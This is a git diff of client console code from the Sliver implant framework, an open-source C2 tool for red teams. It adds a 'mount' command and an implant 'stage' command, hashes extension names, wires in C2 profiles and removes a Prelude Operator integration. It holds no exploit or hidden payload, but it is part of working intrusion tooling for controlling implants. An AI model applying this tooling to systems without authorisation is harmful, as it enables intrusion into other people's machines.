confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
forceRemoveAll(minstallPath)
}
@@ -94,7 +96,7 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
if isGz {
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
err = installArtifact(extLocalPath, installPath, manifestFile.Path)
} else {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
@@ -106,7 +108,7 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
}
err = util.CopyFile(src, dst)
if err != nil {
err = fmt.Errorf("error copying file '%s' -> '%s': %s\n", src, dst, err)
err = fmt.Errorf("error copying file '%s' -> '%s': %s", src, dst, err)
}
}
if err != nil {
@@ -119,7 +121,7 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
}
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverClient) error {
func installArtifact(extGzFilePath string, installPath string, artifactPath string) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
if err != nil {
return err
+37 -13
View File
@@ -21,6 +21,8 @@ package extensions
import (
"bytes"
"context"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
@@ -84,7 +86,9 @@ type ExtensionManifest struct {
ExtCommand []*ExtCommand `json:"commands"`
RootPath string `json:"-"`
RootPath string `json:"-"`
ArmoryName string `json:"-"`
ArmoryPK string `json:"-"`
}
type ExtCommand struct {
@@ -372,6 +376,17 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
depLoaded = true
}
}
//check if the file suffixes are the same (should only be relevant to the same extension package), and don't load the file if it's already there
extN := loadedExtensions[cmd.Name()]
if extN != nil {
//confirm we haven't already loaded the file
for _, extf := range extN.Files {
if strings.HasSuffix(binPath, extf.Path) {
//file already exists, no need to load it
return nil
}
}
}
if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName {
return nil
}
@@ -398,8 +413,11 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
}
func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverClient) error {
//set extension name to a hash of the data to avoid loading more than one instance
bd := sha256.Sum256(binData)
name := hex.EncodeToString(bd[:])
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Name: name,
Data: binData,
OS: goos,
//Init: ext.Init, ?
@@ -487,16 +505,10 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
// extArgs := strings.Join(args, " ")
//legacy case - single string arg
if len(ext.Arguments) == 1 && ext.Arguments[0].Type == "string" {
extensionArgs = []byte(strings.Join(args, " "))
} else {
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
if err != nil {
con.PrintErrorf("ext args error: %s\n", err)
return
}
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
if err != nil {
con.PrintErrorf("ext args error: %s\n", err)
return
}
extName = ext.CommandName
entryPoint = ext.Entrypoint
@@ -505,8 +517,14 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", cmd.Name())
con.SpinUntil(msg, ctrl)
extdata, err := os.ReadFile(binPath)
if err != nil {
con.PrintErrorf("ext read file error: %s\n", err)
}
bd := sha256.Sum256(extdata)
name := hex.EncodeToString(bd[:])
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Name: name,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveTarget.Request(cmd),
@@ -558,6 +576,12 @@ func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
// Parse BOF arguments from grumble
missingRequiredArgs := make([]string, 0)
// If we have an extension that expects a single string, but more than one has been parsed, combine them
if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") {
// The loop below will only read the first element of args because ext.Arguments is 1
args[0] = strings.Join(args, " ")
}
for _, arg := range ext.Arguments {
// If we don't have any positional words left to consume,
// add the remaining required extension arguments in the
+15
View File
@@ -188,6 +188,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("", false, uploadCmd, func(f *pflag.FlagSet) {
f.BoolP("ioc", "i", false, "track uploaded file as an ioc")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.BoolP("overwrite", "o", false, "overwrite file if it exists")
})
carapace.Gen(uploadCmd).PositionalCompletion(
carapace.ActionFiles().Usage("local path to the file to upload"),
@@ -230,6 +231,19 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor"))
mountCmd := &cobra.Command{
Use: consts.MountStr,
Short: "Get information on mounted filesystems",
Long: help.GetHelpFor([]string{consts.MountStr}),
Run: func(cmd *cobra.Command, args []string) {
MountCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, mountCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
grepCmd := &cobra.Command{
Use: consts.GrepStr,
Short: "Search for strings that match a regex within a file or directory",
@@ -324,6 +338,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
downloadCmd,
uploadCmd,
memfilesCmd,
mountCmd,
grepCmd,
headCmd,
tailCmd,
+165
View File
@@ -0,0 +1,165 @@
/*
Sliver Implant Framework
Copyright (C) 2024 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package filesystem
import (
"context"
"fmt"
"math"
"google.golang.org/protobuf/proto"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// Drive mappings for Windows
var driveTypeMap = map[string]string{
"0": "Unknown",
"1": "Root Path invalid (no volume mounted for path)",
"2": "Removable",
"3": "Fixed disk",
"4": "Remote / network drive",
"5": "CD-ROM",
"6": "RAM disk",
}
// MountCmd - Print information about mounted filesystems
func MountCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
mount, err := con.Rpc.Mount(context.Background(), &sliverpb.MountReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
os := getOS(session, beacon)
if mount.Response != nil && mount.Response.Async {
con.AddBeaconCallback(mount.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mount)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMount(os, mount, con)
})
con.PrintAsyncResponse(mount.Response)
} else {
PrintMount(os, mount, con)
}
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.OS
} else if beacon != nil {
return beacon.OS
}
return ""
}
func reduceSpaceMetric(numberOfBytes float64) string {
units := []string{"B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"}
if numberOfBytes < 1 {
return fmt.Sprintf("0 %s", units[0])
}
base := 1024.0
exp := math.Floor(math.Log(numberOfBytes) / math.Log(base))
index := int(math.Min(exp, float64(len(units)-1)))
divisor := math.Pow(base, float64(index))
value := numberOfBytes / divisor
return fmt.Sprintf("%.2f %s", value, units[index])
}
// PrintMount - Print a table containing information on mounted filesystems
func PrintMount(os string, mount *sliverpb.Mount, con *console.SliverClient) {
if mount.Response != nil && mount.Response.Err != "" {
con.PrintErrorf("%s\n", mount.Response.Err)
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
switch os {
case "windows":
tw.AppendHeader(table.Row{"Volume", "Volume Type", "Mount Point", "Label", "Filesystem", "Used Space", "Free Space", "Total Space"})
case "darwin":
fallthrough
case "linux":
fallthrough
default:
tw.AppendHeader(table.Row{"Source", "Mount Point", "Mount Root", "Filesystem Type", "Options", "Total Space"})
}
for _, mountPoint := range mount.Info {
row := mountRow(os, mountPoint)
tw.AppendRow(row)
}
settings.PaginateTable(tw, 0, false, false, con)
}
func mountRow(os string, mountInfo *sliverpb.MountInfo) table.Row {
var row table.Row
switch os {
case "windows":
// Translate VolumeType
volType, ok := driveTypeMap[mountInfo.VolumeType]
if !ok {
volType = driveTypeMap["0"]
}
row = table.Row{mountInfo.VolumeName,
volType,
mountInfo.MountPoint,
mountInfo.Label,
mountInfo.FileSystem,
reduceSpaceMetric(float64(mountInfo.UsedSpace)),
reduceSpaceMetric(float64(mountInfo.FreeSpace)),
reduceSpaceMetric(float64(mountInfo.TotalSpace)),
}
case "darwin":
fallthrough
case "linux":
fallthrough
default:
row = table.Row{mountInfo.VolumeName,
mountInfo.MountPoint,
mountInfo.Label,
mountInfo.VolumeType,
mountInfo.MountOptions,
reduceSpaceMetric(float64(mountInfo.TotalSpace)),
}
}
return row
}
+11
View File
@@ -269,6 +269,16 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(implantsRmCmd).PositionalCompletion(ImplantBuildNameCompleter(con))
implantBuildsCmd.AddCommand(implantsRmCmd)
implantsStageCmd := &cobra.Command{
Use: consts.StageStr,
Short: "Serve a previously generated build",
Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.StageStr}),
Run: func(cmd *cobra.Command, args []string) {
ImplantsStageCmd(cmd, con, args)
},
}
implantBuildsCmd.AddCommand(implantsStageCmd)
canariesCmd := &cobra.Command{
Use: consts.CanariesStr,
Short: "List previously generated canaries",
@@ -321,6 +331,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.Int64P("reconnect", "j", DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int64P("poll-timeout", "P", DefaultPollTimeout, "long poll request timeout")
f.Uint32P("max-errors", "k", DefaultMaxErrors, "max number of connection errors")
f.StringP("c2profile", "C", consts.DefaultC2Profile, "HTTP C2 profile to use")
// Limits
f.StringP("limit-datetime", "w", "", "limit execution to before datetime")
+2 -2
View File
@@ -22,7 +22,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
return
}
config.IsBeacon = true
err := parseBeaconFlags(cmd, con, config)
err := parseBeaconFlags(cmd, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -38,7 +38,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
}
}
func parseBeaconFlags(cmd *cobra.Command, con *console.SliverClient, config *clientpb.ImplantConfig) error {
func parseBeaconFlags(cmd *cobra.Command, config *clientpb.ImplantConfig) error {
days, _ := cmd.Flags().GetInt64("days")
hours, _ := cmd.Flags().GetInt64("hours")
minutes, _ := cmd.Flags().GetInt64("minutes")
+1 -17
View File
@@ -1009,24 +1009,12 @@ func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string
return true
}
if runtime.GOOS != "windows" && targetOS == "windows" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
if runtime.GOOS != "darwin" && targetOS == "darwin" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
if runtime.GOOS != "linux" && targetOS == "linux" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
return true
}
@@ -1042,12 +1030,8 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverClient) bool {
con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
switch targetOS {
case "windows":
con.PrintWarnf("The server cannot find an installation of mingw")
case "darwin":
con.PrintWarnf("The server cannot find an installation of osxcross")
case "linux":
con.PrintWarnf("The server cannot find an installation of musl-cross")
}
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
@@ -1083,7 +1067,7 @@ func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverCli
return validBuilders, nil
}
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverClient) (*clientpb.Builder, error) {
func selectExternalBuilder(builders []*clientpb.Builder, _ *console.SliverClient) (*clientpb.Builder, error) {
choices := []string{}
for _, builder := range builders {
choices = append(choices, builder.Name)
+19 -1
View File
@@ -1,5 +1,23 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
@@ -20,7 +38,7 @@ func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
}
options := []string{}
for name, _ := range builds.Configs {
for name := range builds.Configs {
options = append(options, name)
}
@@ -20,8 +20,6 @@ package generate
import (
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/spf13/cobra"
@@ -56,7 +54,3 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
con.PrintErrorf("No profile with name '%s'", name)
}
}
func buildImplantName(name string) string {
return strings.TrimSuffix(name, filepath.Ext(name))
}
+1 -1
View File
@@ -64,7 +64,7 @@ func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []
return
}
config.IsBeacon = true
err := parseBeaconFlags(cmd, con, config)
err := parseBeaconFlags(cmd, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+4
View File
@@ -78,6 +78,7 @@ var (
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
@@ -380,6 +381,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
`
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
+14 -1
View File
@@ -97,5 +97,18 @@ func SliverCommands(con *console.SliverClient) []*cobra.Command {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
return []*cobra.Command{pingCmd, getPIDCmd, getUIDCmd, getGIDCmd, whoamiCmd}
infoCmd := &cobra.Command{
Use: consts.InfoStr,
Short: "Get session info",
Long: help.GetHelpFor([]string{consts.InfoStr}),
Run: func(cmd *cobra.Command, args []string) {
InfoCmd(cmd, con, args)
},
GroupID: consts.InfoHelpGroup,
}
flags.Bind("use", false, infoCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
return []*cobra.Command{pingCmd, getPIDCmd, getUIDCmd, getGIDCmd, whoamiCmd, infoCmd}
}
@@ -1,4 +0,0 @@
Prelude Operator
=================
Connection code for [Prelude Operator](https://www.prelude.org/)
@@ -1,45 +0,0 @@
package operator
import (
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
operatorCmd := &cobra.Command{
Use: consts.PreludeOperatorStr,
Short: "Manage connection to Prelude's Operator",
Long: help.GetHelpFor([]string{consts.PreludeOperatorStr}),
GroupID: consts.GenericHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
OperatorCmd(cmd, con, args)
},
}
operatorConnectCmd := &cobra.Command{
Use: consts.ConnectStr,
Short: "Connect with Prelude's Operator",
Long: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}),
Run: func(cmd *cobra.Command, args []string) {
ConnectCmd(cmd, con, args)
},
Args: cobra.ExactArgs(1),
}
operatorCmd.AddCommand(operatorConnectCmd)
flags.Bind("operator", false, operatorConnectCmd, func(f *pflag.FlagSet) {
f.BoolP("skip-existing", "s", false, "Do not add existing sessions as Operator Agents")
f.StringP("aes-key", "a", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption")
f.StringP("range", "r", "sliver", "Agents range")
})
carapace.Gen(operatorConnectCmd).PositionalCompletion(
carapace.ActionValues().Usage("connection string to the Operator Host (e.g. 127.0.0.1:1234)"))
return []*cobra.Command{operatorCmd}
}
@@ -1,84 +0,0 @@
package operator
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
func ConnectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
url := args[0]
aesKey, _ := cmd.Flags().GetString("aes-key")
agentRange, _ := cmd.Flags().GetString("range")
skipExisting, _ := cmd.Flags().GetBool("skip-existing")
config := &prelude.OperatorConfig{
Range: agentRange,
OperatorURL: url,
RPC: con.Rpc,
AESKey: aesKey,
}
implantMapper := prelude.InitImplantMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get session list: %s", err)
return
}
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, session := range sessions.Sessions {
if !session.IsDead {
err = implantMapper.AddImplant(session, nil)
if err != nil {
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
}
}
}
con.PrintInfof("Done !\n")
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get beacon list: %s", err)
return
}
if len(beacons.Beacons) > 0 {
con.PrintInfof("Adding existing beacons ...\n")
for _, beacon := range beacons.Beacons {
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
if err != nil {
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
}
}
con.PrintInfof("Done !\n")
}
}
}
@@ -1,34 +0,0 @@
package operator
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
)
func OperatorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if prelude.ImplantMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
}
+1 -1
View File
@@ -58,7 +58,7 @@ func MakeTokenCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
}
if username == "" || password == "" {
con.PrintErrorf("Pou must provide a username and password\n")
con.PrintErrorf("You must provide a username and password\n")
return
}
+2 -2
View File
@@ -25,6 +25,7 @@ import (
"github.com/bishopfox/sliver/client/command/armory"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/builders"
"github.com/bishopfox/sliver/client/command/c2profiles"
"github.com/bishopfox/sliver/client/command/crack"
"github.com/bishopfox/sliver/client/command/creds"
"github.com/bishopfox/sliver/client/command/exit"
@@ -36,7 +37,6 @@ import (
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/command/monitor"
"github.com/bishopfox/sliver/client/command/operators"
operator "github.com/bishopfox/sliver/client/command/prelude-operator"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
@@ -91,7 +91,6 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
armory.Commands,
update.Commands,
operators.Commands,
operator.Commands,
creds.Commands,
crack.Commands,
)
@@ -101,6 +100,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
jobs.Commands,
websites.Commands,
wireguard.Commands,
c2profiles.Commands,
)
// Payloads
+48 -26
View File
@@ -35,7 +35,6 @@ import (
"github.com/bishopfox/sliver/client/assets"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/client/version"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -268,14 +267,6 @@ func (con *SliverClient) startEventLoop() {
con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(session, nil)
if err != nil {
con.PrintErrorf("Could not add session to Operator: %s", err)
}
}
case consts.SessionUpdateEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
@@ -295,13 +286,6 @@ func (con *SliverClient) startEventLoop() {
con.ActiveTarget.Set(nil, nil)
con.PrintErrorf("Active session disconnected")
}
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.RemoveImplant(session)
if err != nil {
con.PrintErrorf("Could not remove session from Operator: %s", err)
}
con.PrintInfof("Removed session %s from Operator", session.Name)
}
case consts.BeaconRegisteredEvent:
beacon := &clientpb.Beacon{}
@@ -311,16 +295,6 @@ func (con *SliverClient) startEventLoop() {
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
// Prelude Operator
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
if err != nil {
con.PrintErrorf("Could not add beacon to Operator: %s", err)
}
}
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
@@ -984,5 +958,53 @@ var asciiLogos = []string{
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
` + "`------'`------'`------'`------'`------'`------'" + `
` + Normal,
Purple + `
****@@ @@****
@@@@@@***@ @***@@@@@@
@%%@@@%%#***@ @***#%%@@@%%@
%%%%%##%%%%****@ @****%%%%##%%%%%
%%%%#####%%%%#*###@ @#####%%%%#####%%%%
@%%%*@#####%%%%@####@ @####@%%%%#####@#%%%@
%%%+@**#####%%%%#####@ @#####%%%%#####**@+%%%@
#%%=+*+**###%#%%%###### ######%%%%%###**+*+=%%%
%#%===++@*####%@@@@###### ######@@@@%####*@++===%%%
@#@--===+**%%%@@@@@@#####%% %%#####@@@@@@%%#**+===--@#@
#@----%=+*%%%%@@@%%%####%%%@ @ @ @%%%####%%%@@@%%%%*+=%----@#
#%----=#++*%%%%@%%%%%@%%%%%%%%%@ @%%%%%%%%%@%%%%%@%%%%*++#=----%#
%+----===+**@%%@#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%@**+===----+%
@=----==++***@%@#%%%%%%%@%%%%@%%%%%%%%%%%%%%%%%%%%@%%%%@%%%%%%%#@%@***++==-----@
-----==+#%**##@@%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%%@@##**%#+==-----
%----==+**%%%%@@@#@%%%%%%%%%%@%%%%%%%%%%%%%%%%%%@%%%%%%%%%%@#@@@%%%%*++==----%
=--#+=+**#@%%####%####%%%%@@@@@%%%%%%##%%%%%%@@@@@@%%%####%####%%@#**+=+#--=
+-==+*%%%%########%#######%@@@@@@%%%%%#%%@@@@@@%#######%########%%%%*+==-=
-----==++**#%######################%@@@%%%%@@@%######################%#**++==-----
=--===+**######@##############%%%%%%%%%%%%%%%%%%%%##############@######**+===--=
%-==+%@@@#######%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%%%@@%%%%%%%%%#######@@@%+==-%
@=@@@@@@@@#%%%%%%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%@@@%%%%%%%%%%%%%#@@@@@@@@=@
@@@@@@@@@@@@@%%%%%%%%%%%%@@@@%%%%%%%%**%%%%%%%%@@@@%%%%%%%%%%%%@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@%%#%@@%%%%@@@@@%%%%%@#**#@%%%%%@@@@@%%%%@@%#%%@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@%#####%#%%%%%%%@%###**###%@%%%%%%%#######%@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@*##%%%%%%%%%%%%%##**##%%%%%%%%%%%%###*@@@@@@@@@@@@@@@@@@@@@@@
@%%%%%@@@@@@@@@@@@@@@@@@@ %%%%%%%%%%%%%##**##%%%%%%%%%%%%% @@@@@@@@@@@@@@@@@@@%%%%%@
@%%%%%%%%%%%%%%@@@@@@@@@@@@ . %%%%%@%%%%%##**##%%%%%@%%%%% @@@@@@@@@@@@%%%%%%%%%%%%%%@
%%%%%%%@+. % :@%%%%%%%%@@@@@@@@@%@%%@@@@##**##@@@@%%@%@@@@@@@@@%%%%%%%%@: % ..+@%%%%%%%
%#. . : .-@%%%%%@@@@@@@@@@@@@@##**##@@@@@@@@@@@@@@%%%%%@-. : .*%
@%%@* #..:--=++*@%@@@@@@@@@@@@##**##@@@@@@@@@@@@@@*++==-:. # *@%%@
%%%%%%@..*.:+% ..::+-==++++@-=@@@@@@@@@@@%####%@@@@@@@@@@@=-@++++==-+::.. #+:.*..@%%%%%%
@###%.......::%-==++**#@++#*: .:-+@@@@@@@@@@%####%@@@@@@@@@@+-:. .*#++@#**++==-%::.......%###@
#%..........:::-==%+*******@* . .:-+@@@@@@@@@@####@@@@@@@@@@+-: #@*******+%=--:::..........%#
@@@+:...::::--=++**@***##*==+ :-+@@@.@@@@%%##%%@@@@.@@@+-: ++=*##***@**++=--::::...:+@@@
@%%%***###%@#****##@##++++++. .:=*@+ @@@@%%##%%@@@@ =@*=:. .+++++=##@##****#@%###***%%%@
@@=====+++++***#####%%%%@++++**#.:=*@ .@@%%####%%@@. @*=:.#***+++@%%%%#####***+++++=====@@
@@@#+++++***##%%%%%***##%%*# @@*------*@@ #*%%##***%%%%%##***+++++#@@@
@@@@%%%@%%%%%. **--------** .%%%%%%%%%@@@@
@%%%% %@@@@@@@@@@@@@ %%%%@
@@ @::@@@@@@@@@@::@ @@
-::::::@@@@:::::::
*-----========-----+
@###%%%@@@@%%%###@
@%%%%%%@
` + Normal,
}
+9 -3
View File
@@ -145,6 +145,7 @@ const (
TrafficEncodersStr = "traffic-encoders"
C2ProfileStr = "c2profiles"
ImportC2ProfileStr = "import"
ExportC2ProfileStr = "export"
// Generic.
@@ -161,6 +162,11 @@ const (
TablesStr = "tables"
DetailsStr = "details"
GraphStr = "graph"
EnableStr = "enable"
DisableStr = "disable"
ModifyStr = "modify"
RefreshStr = "refresh"
ResetStr = "reset"
LootStr = "loot"
LootLocalStr = "local"
@@ -223,6 +229,7 @@ const (
ChmodStr = "chmod"
ChownStr = "chown"
ChtimesStr = "chtimes"
MountStr = "mount"
MemfilesStr = "memfiles"
@@ -285,9 +292,8 @@ const (
LicensesStr = "licenses"
GetPrivsStr = "getprivs"
PreludeOperatorStr = "prelude-operator"
ConnectStr = "connect"
GetPrivsStr = "getprivs"
